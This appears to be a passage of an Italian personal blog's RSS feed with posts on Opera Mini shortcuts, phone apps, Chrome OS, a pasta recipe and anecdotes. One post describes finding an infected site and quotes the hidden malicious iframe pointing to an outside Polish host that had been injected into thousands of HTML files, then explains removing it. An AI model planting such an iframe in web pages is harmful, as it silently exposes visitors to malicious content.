<p>È anche possibile, per comodità, usare l&#8217;editor interno del telefono per scrivere, soprattutto per le lingue con caratteri particolari (lettere accentate, ecc.) che, altrimenti, non potrebbero essere scritti con l&#8217;editor di default di Opera Mini.</p>
<p>Normalmente non è possibile esportare testo copiato in un&#8217;applicazione Java verso un&#8217;altra applicazione del telefono. Con Opera Mini è possibile ovviare a questo incollando il testo copiato in un campo della pagina aperta (va bene anche il campo di ricerca) mantenendo l&#8217;editor inline disattivato. In questo modo, quando si apre l&#8217;editor di testo del telefono è possibile ri-copiare il testo incollato ed utilizzarlo in altre applicazioni, tipo SMS, email, note, ecc.</p>
<p>Per finire ecco l&#8217;elenco delle <strong>scorciatoie da tastiera</strong> di Opera Mini 5:</p>
<p><strong>Con &#8220;#&#8221;</strong></p>
<ul>
<li>#1 inserisci indirizzo</li>
<li>#2 cerca</li>
<li>#3 trova nella pagina</li>
<li>#4 pagina iniziale</li>
<li>#5 segnalibri</li>
<li>#6 cronologia</li>
<li>#7 trasferimenti</li>
<li>#8 impostazioni</li>
<li>#9 pagine salvate</li>
<li>#0 aggiorna</li>
</ul>
<p><strong>Con &#8220;*&#8221;</strong></p>
<ul>
<li>1-9 preferiti rapidi</li>
<li>+# (asterisco cancelletto) vista orizzontale</li>
<li>+* (asterisco asterisco) schermo intero</li>
<li>↑ nuova scheda</li>
<li>↓ chiudi scheda</li>
<li>← scorri schede sx</li>
<li>→ scorri schede a destra</li>
</ul>
<p>Tutta la lista di scorciatoie si può visualizzare anche all&#8217;interno di Opera Mini premendo rispettivamente <em>asterisco</em> o <em>cancelletto</em>.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Alla faccia del falso positivo&#8230;</title>
		<link>http://www.unpirlaqualsiasi.it/2010/04/10/alla-faccia-del-falso-positivo/</link>
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		<pubDate>Sat, 10 Apr 2010 15:53:36 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[guide]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[NOD32]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[windows]]></category>

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		<description><![CDATA[Da alcuni mesi il mio antivirus (NOD32, ndP) mi segnala come infetti da virus (Iframe.B.Gen.Virus e Virut.NBP.Virus) tutti i file .html e .htm che ho in un disco. La cosa mi sembrava parecchio strana, soprattutto perché negli altri PC gli stessi file vengono considerati puliti dallo stesso antivirus. Ed è un bel fastidio vedere qualche [...]]]></description>
			<content:encoded><![CDATA[<p>Da alcuni mesi il mio antivirus (NOD32, ndP) mi segnala come infetti da virus (Iframe.B.Gen.Virus e Virut.NBP.Virus) tutti i file .html e .htm che ho in un disco.</p>
<p>La cosa mi sembrava parecchio strana, soprattutto perché negli altri PC gli stessi file vengono considerati puliti dallo stesso antivirus. Ed è un bel fastidio vedere qualche centinaio di notifiche ogni volta che apri la cartella Documenti.</p>
<p>Notifiche, peraltro, su cui cliccare sempre &#8220;Ignora&#8221;, dal momento che l&#8217;antivirus non è in gradi di ripulire i file e si limita a cestinarli.</p>
<p>Oggi pomeriggio ho avuto un&#8217;illuminazione: perché non provare ad aprire un file html piccolo, tra quelli infetti, e vedere cosa contiene?</p>
<p>Ebbene, l&#8217;ultima riga prima di &lt;/body&gt; conteneva codice malevolo, ovvero un iframe che puntava ad un indirizzo polacco:</p>
<p><code>&lt; iframe src="http://jL.chura.pl/rc/" style="display:none" &gt;&lt; /iframe &gt;</code></p>
<p>È bastato copiancollarlo su Google per scoprire cosa fosse e come liberarsene.</p>
<p>Nonostante la mole di file infettati (5000 nel mio caso) è semplicissimo disinfettare il tutto: basta scaricare il programma <a  href="http://download.cnet.com/Advanced-Find-and-Replace/3000-2379_4-10039984.html">Advanced Find And Replace</a>, scegliere il percorso dei file da pulire e dargli in pasto la stringa (quella scritta qui sopra) da sostituire con nulla. Dopo qualche minuto il programma terminerà e tutto sarà fresco e pulito.</p>
<p>Ovviamente è necessario disattivare l&#8217;antivirus per poter accedere ai file incriminati.</p>
<p>Morale? Migliaia di falsi positivi, probabilmente non sono poi tanto falsi, e dare un&#8217;occhiata un po&#8217; più approfondita non fa mai male.</p>
<p>E mille scuse al NOD antivirus <img src='http://www.unpirlaqualsiasi.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		</item>
		<item>
		<title>Consigli dalla regia: recensione di qualche applicazione assolutamente nerd e assolutamente da non perdere</title>
		<link>http://www.unpirlaqualsiasi.it/2010/02/11/consigli-dalla-regia-recensione-di-qualche-applicazione-assolutamente-nerd-e-assolutamente-da-non-perdere/</link>
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		<pubDate>Thu, 11 Feb 2010 12:23:00 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[consigli per i download]]></category>
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		<category><![CDATA[geek]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[nerd]]></category>
		<category><![CDATA[nokia]]></category>
		<category><![CDATA[reti]]></category>
		<category><![CDATA[symbian]]></category>

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		<description><![CDATA[Da un po’ di tempo volevo scrivere qualcosa riguardo le applicazioni geek oriented di cui non si può fare a meno sul proprio telefono. Di qualcosa ho già scritto in precedenza, ma ora un piccolo elenco è più utile. Premetto che le seguenti applicazioni sono salvate sul telefono alla voce “Nerdate”, per cui sapete cosa [...]]]></description>
			<content:encoded><![CDATA[<p>Da un po’ di tempo volevo scrivere qualcosa riguardo le applicazioni <em>geek oriented</em> di cui non si può fare a meno sul proprio telefono. Di qualcosa ho già scritto in precedenza, ma ora un piccolo elenco è più utile.</p>
<p>Premetto che le seguenti applicazioni sono salvate sul telefono alla voce “Nerdate”, per cui sapete cosa aspettarvi. <img src='http://www.unpirlaqualsiasi.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Andrò per ordine casuale di importanza, secondo i miei gusti.</p>
<p><strong><a  title="La killer application per Symbian" href="http://www.unpirlaqualsiasi.it/2009/01/17/la-killer-application-per-symbian/">SymSMB</a></strong>: ne avevo già parlato <a  title="La killer application per Symbian" href="http://www.unpirlaqualsiasi.it/2009/01/17/la-killer-application-per-symbian/">qui</a> e non ho molto altro da aggiungere, se non ribadire il fatto che è una figata assoluta.</p>
<p><strong><a  href="http://www.rdmplus.com/vnc/index.html">VNC+</a></strong>: Client <a  title="Virtual Network Computing" href="http://en.wikipedia.org/wiki/Virtual_Network_Computing">VNC</a> che permette di collegarsi con il desktop di qualsiasi macchina (PC, Mac o Linux) in locale o in remoto e gestire qualunque funzione come se si fosse davanti al monitor. Certo, la vista è un po’ limitata, ma con lo zoom si può vedere perfettamente tutta la superficie del desktop.     <br />È necessario avere un server VNC installato e attivo sulla macchina, per potersi connettere. (anche per BlackBerry, versione free di prova e completa per 20$)</p>
<p><a  title="s2putty" href="http://s2putty.sourceforge.net/"><strong>PuTTY</strong></a>: Port per Symbian del famoso client <acronym title="Secure Shell">SSH</acronym>, Telnet, ecc. che permette di connettersi a server locali o remoti attraverso il protocollo <acronym title="Secure Shell">SSH</acronym>. (freeware)</p>
<p><a  href="http://betalabs.nokia.com/apps/mobile-web-server"><strong>Mobile Webserver</strong></a> (Nokia Labs): Come dice il nome è un webserver da installare sul proprio telefono. La versione beta ha supportato anche la pubblicazione di un proprio sito/blog su mymobilesite.net, ora la sperimentazione è finita e Mobile Webserver funziona solo in locale (per pubblicare il sito, basta usare un servizio di <em>public <acronym title="Domain Name Server">DNS</acronym></em>, come si farebbe per un qualsiasi webserver su PC). È possibile installare anche <acronym title="Pre-Hypertext Processing">PHP</acronym> e MySQL lite, quindi sostituire l’attuale piattaforma <acronym title="Content Management System">CMS</acronym> con WordPress, ma non ho ancora voluto sbattermi per farlo. (freeware su <a  title="OVI Store" href="http://www.ovi.com">OVI Store</a> by Nokia).</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<item>
		<title>Chrome OS: aggiornamento</title>
		<link>http://www.unpirlaqualsiasi.it/2010/02/03/chrome-os-aggiornamento/</link>
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		<pubDate>Tue, 02 Feb 2010 23:56:34 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[tecnocazzate]]></category>
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		<category><![CDATA[browser]]></category>
		<category><![CDATA[chromeOS]]></category>
		<category><![CDATA[connessioni]]></category>
		<category><![CDATA[eeepc]]></category>
		<category><![CDATA[google]]></category>

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		<description><![CDATA[Dopo un mesetto dal primo post su Chrome OS mi sembra il caso di scrivere qualcosa di nuovo, correggendo le primissime impressioni. Innanzitutto ho &#8220;scoperto&#8221; il modo per impostare il layout di tastiera, cosa che mi aveva fatto accantonare completamente il SO di Google. Il procedimento è semplice: premere ctrl-alt-t per aprire una sessione terminal [...]]]></description>
			<content:encoded><![CDATA[<p>Dopo un mesetto dal <a  title="Google Chrome OS - unpirlaqualsiasi" href="http://www.unpirlaqualsiasi.it/2009/12/10/google-crom-os/">primo post</a> su Chrome <acronym title="Operating System">OS</acronym> mi sembra il caso di scrivere qualcosa di nuovo, correggendo le primissime impressioni.</p>
<p>Innanzitutto ho &#8220;scoperto&#8221; il modo per impostare il layout di tastiera, cosa che mi aveva fatto accantonare completamente il SO di Google.</p>
<p>Il procedimento è semplice: premere <strong>ctrl-alt-t</strong> per aprire una sessione terminal e digitare</p>
<p><code>$ setxkbmap it</code> (it indica il layout italiano)</p>
<p>Appena fatto ciò, la tastiera risponderà come indicato sui tasti.</p>
<p>La seconda cosa da fare è aumentare il volume degli altoparlanti, impostato basso di default.</p>
<p>Aprire una finestra terminal e digitare:</p>
<p><code>$ alsamixer</code></p>
<p>Si aprirà una finestra di controllo per tutti i livelli audio e si potranno modificare usando i tasti freccia.</p>
<p>Per avere una mappa a schermo delle scorciatoie da tastiera, basta premere <strong>F8</strong>.</p>
<p>Altri tricks si trovano <a  title="Tips &amp; tricks" href="http://chromeos.hexxeh.net/wiki/doku.php?id=tips_tricks">qui</a>.</p>
<p>Nell&#8217;<a  title="Google Chrome OS - unpirlaqualsiasi" href="http://www.unpirlaqualsiasi.it/2009/12/10/google-crom-os/">altro post</a> scrivevo anche che non è possibile gestire i file all&#8217;interno del PC e non c&#8217;è accesso diretto ai dischi. Non è vero. Usando la sequenza di tasti <strong>ctrl-o </strong>è possibile aprire il file browser e navigare all&#8217;interno dei dischi fissi o delle partizioni della chiavetta. È quindi possibile salvare file nella posizione desiderata mentre si naviga.</p>
<p>Tra le cose negative posso ancora segnalare che:</p>
<p>Chrome <acronym title="Operating System">OS</acronym> non si connette a reti WiFi protette con <a  title="Wi-Fi Protected Access" href="http://it.wikipedia.org/wiki/Wi-Fi_Protected_Access">WPA2</a>, nonostante venga riconosciuto il tipo di protezione e venga offerta la possibilità di inserire la <em>passphrase</em>;<br />
che avere la propria GMail sempre aperta non è proprio il massimo della sicurezza;<br />
che manca ancora il supporto per la stampa, dovesse mai servire.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		</item>
		<item>
		<title>Fusilli con la carne in scatola</title>
		<link>http://www.unpirlaqualsiasi.it/2010/01/18/fusilli-con-la-carne-in-scatola/</link>
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		<pubDate>Mon, 18 Jan 2010 20:29:46 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[un pirla in cucina]]></category>
		<category><![CDATA[carne in scatola]]></category>
		<category><![CDATA[cucina]]></category>
		<category><![CDATA[pasta]]></category>
		<category><![CDATA[primi piatti]]></category>

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		<description><![CDATA[Ovvero come fare un piatto ottimo con una roba che altrimenti brrr&#8230; Ingredienti - fusilli(1) - una scatoletta di carne in scatola(2) - una cipolla piccola - pepe - sale, se necessario Preparazione Mentre cuoce la pasta, fate scaldare in una padella antiaderente l&#8217;intero contenuto della scatoletta (carne + gelatina). La gelatina scioglierà in un [...]]]></description>
			<content:encoded><![CDATA[<p>Ovvero come fare un piatto ottimo con una roba che altrimenti brrr&#8230;</p>
<p><strong>Ingredienti</strong></p>
<p>- fusilli<sup>(<a  href="http://www.unpirlaqualsiasi.it/2010/01/18/fusilli-con-la-carne-in-scatola/#footnote_0_1516" id="identifier_0_1516" class="footnote-link footnote-identifier-link" title=" io preferisco pasta corta con condimenti a pezzi, quindi ho scelto i fusilli">1</a>)</sup><br />
- una scatoletta di carne in scatola<sup>(<a  href="http://www.unpirlaqualsiasi.it/2010/01/18/fusilli-con-la-carne-in-scatola/#footnote_1_1516" id="identifier_1_1516" class="footnote-link footnote-identifier-link" title="di marca a scelta, ma con tanta gelatina, non quelle pressate tipo Montana">2</a>)</sup><br />
- una cipolla piccola<br />
- pepe<br />
- sale, se necessario</p>
<p><strong>Preparazione</strong></p>
<p>Mentre cuoce la pasta, fate scaldare in una padella antiaderente l&#8217;intero contenuto della scatoletta (carne + gelatina). La gelatina scioglierà in un attimo e si trasformerà in brodo. A questo punto mettere in padella la cipolla tritata e far cuocere qualche minuto, finché il brodo non si asciuga un po&#8217; e la carne è ben separata.<br />
Ora non resta che scolare la pasta<sup>(<a  href="http://www.unpirlaqualsiasi.it/2010/01/18/fusilli-con-la-carne-in-scatola/#footnote_2_1516" id="identifier_2_1516" class="footnote-link footnote-identifier-link" title="tenendo un cucchiaio dell&amp;#8217;acqua di cottura se si fosse asciugata troppo la salsa">3</a>)</sup> e condirla con la carne. Una macinata di pepe, parmigiano e via.</p>
<p>Una variante che implementerò la prossima volta è l&#8217;aggiunta di un pizzico di zafferano. Non so perché, ma ce lo vedo bene&#8230;</p>
<p><em>Piccola spiegazione non richiesta: la cipolla la aggiungo dopo, anziché fare il soffritto, perché la carne è già saporita di suo e così evito di aggiungere condimenti non necessari. Inoltre preferisco la cipolla cotta ma non soffritta.</em></p>&nbsp;&nbsp;<div class="meta"></div><ol class="footnotes"><li id="footnote_0_1516" class="footnote"> io preferisco pasta corta con condimenti a pezzi, quindi ho scelto i fusilli</li><li id="footnote_1_1516" class="footnote">di marca a scelta, ma con tanta gelatina, non quelle pressate tipo Montana</li><li id="footnote_2_1516" class="footnote">tenendo un cucchiaio dell&#8217;acqua di cottura se si fosse asciugata troppo la salsa</li></ol>]]></content:encoded>
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		<title>Google Chrome OS</title>
		<link>http://www.unpirlaqualsiasi.it/2009/12/10/google-crom-os/</link>
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		<pubDate>Thu, 10 Dec 2009 20:53:37 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[asus]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[chromeOS]]></category>
		<category><![CDATA[connessioni]]></category>
		<category><![CDATA[eeepc]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[netbook]]></category>
		<category><![CDATA[paura]]></category>

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		<description><![CDATA[Qualche settimana fa Google ha presentato Chrome OS, il nuovo sistema operativo web-based &#8220;che farà parlare di sè&#8221;, e oggi io l&#8217;ho provato nella sua versione &#8220;portata&#8221; su chiavetta USB. Innanzitutto, per evitare fraintendimenti con gli eventuali fanboy di Chrome OS, devo precisare alcune cose: non amo le cose spartane: questa non è Sparta (semi [...]]]></description>
			<content:encoded><![CDATA[<p>Qualche settimana fa Google ha presentato Chrome <acronym title="Operating System">OS</acronym>, il nuovo sistema operativo web-based &#8220;che farà parlare di sè&#8221;, e oggi io l&#8217;ho provato nella sua versione &#8220;portata&#8221; su chiavetta <acronym title="Universal Serial Bus">USB</acronym>.</p>
<p>Innanzitutto, per evitare fraintendimenti con gli eventuali fanboy di Chrome <acronym title="Operating System">OS</acronym>, devo precisare alcune cose:</p>
<ul>
<li>non amo le cose spartane: questa non è Sparta (semi cit.)</li>
<li>non mi piace Chrome (il browser)</li>
<li>mi piacciono le cose complete, tamarre e sbarluccicanti</li>
<li>non uso web apps</li>
</ul>
<p>Ciò prescisato, andiamo avanti.</p>
<p>Come detto ho aspettato un po&#8217; prima di provare Chrome <acronym title="Operating System">OS</acronym>, perché appena uscito era possibile provarlo solo usando una virtual machine, cosa che non avevo intenzione di fare. Da poco qualcuno (non so chi, quindi no credits) ha trovato il modo di copiare l&#8217;immagine di Chrome <acronym title="Operating System">OS</acronym> su chiavetta (meglio se da 4 giga) e renderla avviabile, ela cosa si è fatta decisamente più interessante.</p>
<p>L&#8217;installazione è semplice: non c&#8217;è. Basta scaricare l&#8217;immagine via torrent e con il programmino incluso copiarla sulla chiavetta. Quindi insrire la chiavetta e, se il BIOS è impostato per avviare il PC via <acronym title="Universal Serial Bus">USB</acronym>, avviare il PC.</p>
<p>Il sistema si avvia in 3 secondi e presenta una schermata azzurra (non la BSOD di Windows <img src='http://www.unpirlaqualsiasi.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  ) in cui fare il login con user e password del proprio account Google (per ora si usano credenziali &#8220;farlocche&#8221; perché è una preview), quindi si accede automaticamente a GMail e Google Calendar in un&#8217;interfaccia simile a Chrome (il browser).</p>
<p>In alto a destra ci sono tre icone: batteria, connessioni, impostazioni di sistema (che poi è lo stesso menu delle impostazioni del browser con un scheda in più.</p>
<p>A sinistra, invece, c&#8217;è un pulsantone a forma di logo di Chrome, e premendolo le schede aperte scivolano via e appare una pagina con i link ai principali servizi/social network/web app.</p>
<p>Questo è tutto.</p>
<p>C&#8217;è da ricordare che oltre al browser non c&#8217;è nulla e non si ha accesso diretto ai file del PC.</p>
<p><span style="font-weight: bold;">Veniamo alla mia prova</span></p>
<p>Io l&#8217;ho provato su un ASUS EeePC usando l&#8217;immagine scaricata da Torrent e &#8220;masterizzata&#8221; su una chiavetta da 4 giga appena comprata all&#8217;uopo.</p>
<p>Come promesso l&#8217;avvio è velocissimo, le credenziali iniziali sono state riconosciute e si è aperto il browser, ma senza connettermi, perché non ha avviato le connessioni WiFi automaticamente (ovviamente, essendocene tre ed essendo il primo avvio).</p>
<p>Qui il primo problema: la mia WiFi è protetta, e la password non viene riconosciuta. Poco male, provo con FON.</p>
<p>Con FON si connette e tutto si muove. Mail, Calendar, Friendfeed, Facebook.</p>
<p>Però, scrivendo, sorge il secondo problema (che poi è quello che generava il primo): la tastiera ha il layout americano e non c&#8217;è modo di cambiarlo. Ovvio che una password asteriscata non possa essere scritta giusta, in questo modo.</p>
<p>Comunque anche togliendo la protezione alla rete, il sistema non si collega a quella WiFi. Misteri.</p>
<p>Penso ad un riavvio, ma lì mi blocco.</p>
<p>Mezz&#8217;ora per trovare il menu spegni/riavvia, quindi gùgolo un po&#8217;  e scopro che non esiste tale menu: per spegnere il PC basta premere il pulsante ON/OFF. Due secondi e il sistema si arresta totalmente.</p>
<p><span style="font-weight: bold;">Giudizio personale</span></p>
<p>Non do giudizi, essendo più ancora che in beta (però essendo pubblica, qualcosa gli si può dire, no?), ma dico che è quello che mi aspettavo.</p>
<p>È un browser che governa un PC, e mi fa paura. Mi fa paura l&#8217;idea che il futuro sarà solo web apps, tutto online, sempre connesso. Mi fa paura non poter mettere le mani sui dischi fissi, non poter salvare qualcosa in locale o stampare. E quando la connessione non c&#8217;è? Mah.</p>
<p>Comunque l&#8217;idea è interessante, ed estende sicuramente il concetto di netbook, di velocità e di connettività.</p>
<p>Tutto starà nel vedere la compatibilità con le chiavette internet e come sarà veramente il SO quando avrà raggiunto la necessaria maturità.</p>
<p>Per ora è una preview di un giochino interessante, nonostante la paura <img src='http://www.unpirlaqualsiasi.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		</item>
		<item>
		<title>Google Calendar e GoogaSync: la cura definitiva per l&#8217;amnesia (o almeno ci si prova)</title>
		<link>http://www.unpirlaqualsiasi.it/2009/10/23/google-calendar-e-googasync-la-cura-definitiva-per-lamnesia-o-almeno-ci-si-prova/</link>
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		<pubDate>Fri, 23 Oct 2009 21:47:57 +0000</pubDate>
		<dc:creator>degra</dc:creator>
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		<category><![CDATA[consigli per i download]]></category>
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		<category><![CDATA[memoria]]></category>
		<category><![CDATA[scadenze]]></category>
		<category><![CDATA[sincronizzazione]]></category>

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		<description><![CDATA[Come ben sanno quelli che mi conoscono, la mia memoria a breve termine lascia parecchio a desiderare. Ma proprio che dimentico le cose da un secondo all&#8217;altro. Non posso cancellare un messaggio di appuntamento appena letto, perché subito dopo ho dei fortissimi dubbi sull&#8217;ora. Cose pesanti, insomma. E in attesa che esca Degra 2.0 (attualmente [...]]]></description>
			<content:encoded><![CDATA[<p>Come ben sanno quelli che mi conoscono, la mia memoria a breve termine lascia parecchio a desiderare. Ma proprio che dimentico le cose da un secondo all&#8217;altro. Non posso cancellare un messaggio di appuntamento appena letto, perché subito dopo ho dei fortissimi dubbi sull&#8217;ora. Cose pesanti, insomma. E in attesa che esca Degra 2.0 (attualmente è in beta privata) con un po&#8217; più di RAM, mi tocca arrangiarmi come posso.</p>
<p>Ho provato a scrivermi le cose, ma poi devo ricordarmi di leggerle. Sembra una stupidaggine, ma invece è una cosa seria. Ho provato con i programmini per i post-it sul PC, ma se il PC è spento e/o io non sono a casa? Ho provato ad usare l&#8217;agenda del cellulare, ma è troppo laborioso per i miei gusti. Ho provato ad usare l&#8217;agenda (adoro le agende: il rito di intestarle, il profumo di stampa fresca e finta pella), ma non so mai cosa scriverci e finisce che la lascio lì come al solito.</p>
<p>Finalmente l&#8217;illuminazione: grazie a discorsi che giravano su FriendFeed ho scoperto l&#8217;esistenza di <a  href="http://www.google.com/calendar">Google Calendar</a>.</p>
<p>Sì, al solito scopro l&#8217;acqua calda quando agli altri si è già raffreddata da tempo, ma cosa ci volete fare?</p>
<p>Comunque si tratta di un&#8217;agenda online su cui segnare i propri appuntamenti, con la possibilità di condividerli con amici, parenti e conoscenti. Non solo: ha la possibilità di inviare promemoria via mail e via SMS a scadenze predefinite, proprio per i pirla come me che si dimenticano tutto.</p>
<p>Fin qui è comodo, ma è come un&#8217;agenda cartacea: se non ce l&#8217;hai nelle vicinanze, non ti serve a niente.</p>
<p>E allora diciamo che non è finita qui: accorre in nostro aiuto <a  href="http://www.googasync.com">GoogaSync</a>.</p>
<p>Il simpatico programmino (disponibile per la NON modica cifra di 19 euro) per cellulari Symbian fa una cosa molto utile: sincronizza l&#8217;agenda del cellulare con <a  href="http://www.google.com/calendar">Google Calendar</a> e viceversa, rendendo utili entrambi. Per dovere di croncaca, devo dire che ci sono altre applicazioni Symbian e J2ME per sincronizzare le agende, ma solo <a  href="http://www.googasync.com">GoogaSync</a> mi ha convinto del tutto.</p>
<p>Spero soltanto che tutto ciò sia terapeutico e, con l&#8217;andar del tempo, riesca a ricordarmi delle scadenze senza dover ricevere ogni volta 3-4 SMS da <a  href="http://www.google.com/calendar">Google Calendar</a>.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Veggenza</title>
		<link>http://www.unpirlaqualsiasi.it/2009/09/03/veggenza/</link>
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		<pubDate>Thu, 03 Sep 2009 21:59:43 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[about me]]></category>
		<category><![CDATA[coincidenze]]></category>
		<category><![CDATA[cosestrane]]></category>
		<category><![CDATA[sfiga]]></category>

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		<description><![CDATA[Ci sono episodi che lasciano un po&#8217; così. A me piace credere di credere alle cose un po&#8217; strane, strane coincidenze. Mi piace meravigliarmi delle cose ovvie, figurarsi di quelle che ti lasciano basito. Cioè, io non credo alle cose non logiche, ma mi piace pensare che però se ci credessi non sarebbe brutto. Venerdì [...]]]></description>
			<content:encoded><![CDATA[<p>Ci sono episodi che lasciano un po&#8217; così.</p>
<p>A me piace credere di credere alle cose un po&#8217; strane, strane coincidenze.</p>
<p>Mi piace meravigliarmi delle cose ovvie, figurarsi di quelle che ti lasciano basito.</p>
<p>Cioè, io non credo alle cose non logiche, ma mi piace pensare che però se ci credessi non sarebbe brutto.</p>
<p>Venerdì scorso, finito di preparare la valigia per andare ad un matrimonio, sto per spegnere il PC e sento una voce dietro di me.</p>
<p>La voce non era di chissà chi: era semplicemente il TomTom che si è acceso da solo, nella scatola dove era spento da una settimana, e mi ha detto di tornare indietro appena possibile.</p>
<p>Cosa ne sapeva che sarei dovuto partire in macchina per un viaggio abbastanza lungo, con lui al seguito? Del fatto che mi so perdere, invece, ne è cosciente.</p>
<p><a  href="http://friendfeed.com/degra/ad0db4bb/ecco-giusto-perche-non-so-cosa-fare-mi-compro-un">Due giorni fa</a>, preso dallo scazzo, mi sono ricordato del proposito di comprare un altro UPS da mettere in camera per salvare l&#8217;alimentatore del PC dagli sbalzi di corrente.</p>
<p>Bene.</p>
<p>Ieri sera va via la luce. Poi torna. Poi va via di nuovo, e così di seguito per mezz&#8217;ora, con continue scariche nell&#8217;impianto ogni volta che tornava.</p>
<p>Oggi accendo il PC e tornando da pranzo trovo una puzza di roba elettronica bruciata e il PC bloccato.</p>
<p>Riavvio, ma nulla: tutto funziona, ma si blocca al boot o subito dopo, con l&#8217;altoparlante interno che suona come una sirena.</p>
<p>Apro il case e la ventola dell&#8217;alimentatore non gira. Riesco a farla ripartire con l&#8217;aiuto di un cotton fioc, ma la temperatura è ancora troppo alta.</p>
<p>Dopo cinque minuti il PC si riavvia senza problemi.</p>
<p>Ora, queste non sono più coincidenze. O sono veggente, o mi porto sfiga da solo.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Themedreamer</title>
		<link>http://www.unpirlaqualsiasi.it/2009/08/27/themedreamer/</link>
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		<pubDate>Thu, 27 Aug 2009 19:14:56 +0000</pubDate>
		<dc:creator>degra</dc:creator>
				<category><![CDATA[consigli per i download]]></category>
		<category><![CDATA[tecnocazzate]]></category>
		<category><![CDATA[grafica]]></category>
		<category><![CDATA[temi]]></category>
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		<description><![CDATA[Per tutti quelli che si dilettano con WordPress e i suoi temi per cazzeggio e per lavoro oggi c&#8217;è una mano in più. È un&#8217;estensione per Dreamweaver e si chiama Themedreamer. Cosa fa? È presto detto: si integra con Dreamweaver e fornisce da una parte un&#8217;anteprima immediata del tema (inserendo testi segnaposto, immagini e interpretando [...]]]></description>
			<content:encoded><![CDATA[<p>Per tutti quelli che si dilettano con WordPress e i suoi temi per cazzeggio e per lavoro oggi c&#8217;è una mano in più.</p>
<p>È un&#8217;estensione per Dreamweaver e si chiama <a  href="http://www.themedreamer.com/">Themedreamer</a>.</p>
<p>Cosa fa? </p>
<p>È presto detto: si integra con Dreamweaver e fornisce da una parte un&#8217;anteprima immediata del tema (inserendo testi segnaposto, immagini e interpretando i tag) e dall&#8217;altra aggiunge agli <span style="font-style: italic;">hints</span> classici per i tag <acronym title="HyperText Markup Language">HTML</acronym> quelli per WordPress.</p>
<p>Il plugin può essere scaricato direttamente dal <a  href="http://www.themedreamer.com/">sito</a>, previa registrazione, ed è fornito nella versione trial di 15 giorni e in quella a pagamento (29,95 $).</p>
<p>L&#8217;installazione è semplicissima: basta aprire il manager delle estensioni e caricare Themedreamer. Al primo utilizzo viene chiesto il codice di attivazione. Funziona sulle ultime versioni di DW (8, CS3 e CS4) per Windows o Mac.</p>
<p>L&#8217;uso non è immediato e sul sito ci sono solo due filmati poco chiari, ma non è poi difficile: innanzitutto si deve avere un tema (quello di default da modificare o uno creato <span style="font-style: italic;">ex novo</span> non fa differenza) con i file collegati tramite il codice, quindi aprendo ogni file si può vederne l&#8217;anteprima e si possono trovare facilmente i tag di <acronym title="WordPress">WP</acronym> per modificarli o aggiungerne altri dall&#8217;elenco che viene proposto appena si inizia a scrivere.</p>
<p>Nella barra inferiore, poi, c&#8217;è l&#8217;elenco di tutti i file associati a quello aperto e la descrizione dei vari tag di <acronym title="WordPress">WP</acronym> che si cliccano nel codice o nell&#8217;anteprima. Per aprire i file collegati, basta cliccare sul loro nome nella barra, mentre cliccando su un elemento che non fa parte della pagina aperta, nella preview, non succede nulla per non modificare un file non aperto.</p>
<p>L&#8217;estensione comprende anche una piccola barra degli strumenti che permette di attivare/disattivare il <span style="font-style: italic;">rendering</span> dell&#8217;anteprima, le aggiunte al testo di esempio (le immagini, il <span style="font-style: italic;">quote</span>, gli elenchi), i commenti e i link <span style="font-style: italic;">more</span> e <span style="font-style: italic;">nextpage</span>.</p>
<p>Per ora l&#8217;ho solo provato velocemente per sistemare leggermente questo tema, ma pare una cosa abbastanza utile, soprattutto per chi non sa dove mettere le mani e vuole avere un&#8217;anteprima del codice interpretato senza dover installare WordPress in locale per le prove.</p>
<p>La segnalazione dell&#8217;esistenza di questa estensione l&#8217;ho avuta, cme al solito, su Friendfeed, <a  href="http://friendfeed.com/hermansji/ce37713e/fino-ad-ora-per-wordpress-ho-usato-photoshop-e">qui</a>.</p>&nbsp;&nbsp;<div class="meta"></div>]]></content:encoded>
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		<title>Buone notizie, ma anche no</title>
		<link>http://www.unpirlaqualsiasi.it/2009/08/05/buone-notizie-ma-anche-no/</link>
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		<pubDate>Wed, 05 Aug 2009 10:05:10 +0000</pubDate>
		<dc:creator>degra</dc:creator>
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		<description><![CDATA[Poco fa, in un ufficio: C (l&#8217;impiegata): hai ricevuto la mia lettera? ci spiace di aver dovuto ridurre il pagamento&#8230; ma poi i soldi arrivano&#8230; Io: non c&#8217;è problema: l&#8217;importante è che arrivino (si tratta solo di 180 giorni). ma come mai questo ritardo? sono in ferie? hanno problemi? C: no, è che hanno smesso [...]]]></description>
			<content:encoded><![CDATA[<p>Poco fa, in un ufficio:</p>
<p>C (l&#8217;impiegata): hai ricevuto la mia lettera? ci spiace di aver dovuto ridurre il pagamento&#8230; ma poi i soldi arrivano&#8230;<br />
Io: non c&#8217;è problema: l&#8217;importante è che arrivino (si tratta solo di <span style="font-weight: bold;">180</span> giorni). ma come mai questo ritardo? sono in ferie? hanno problemi?<br />
C: no, è che hanno smesso di pagare.<br />
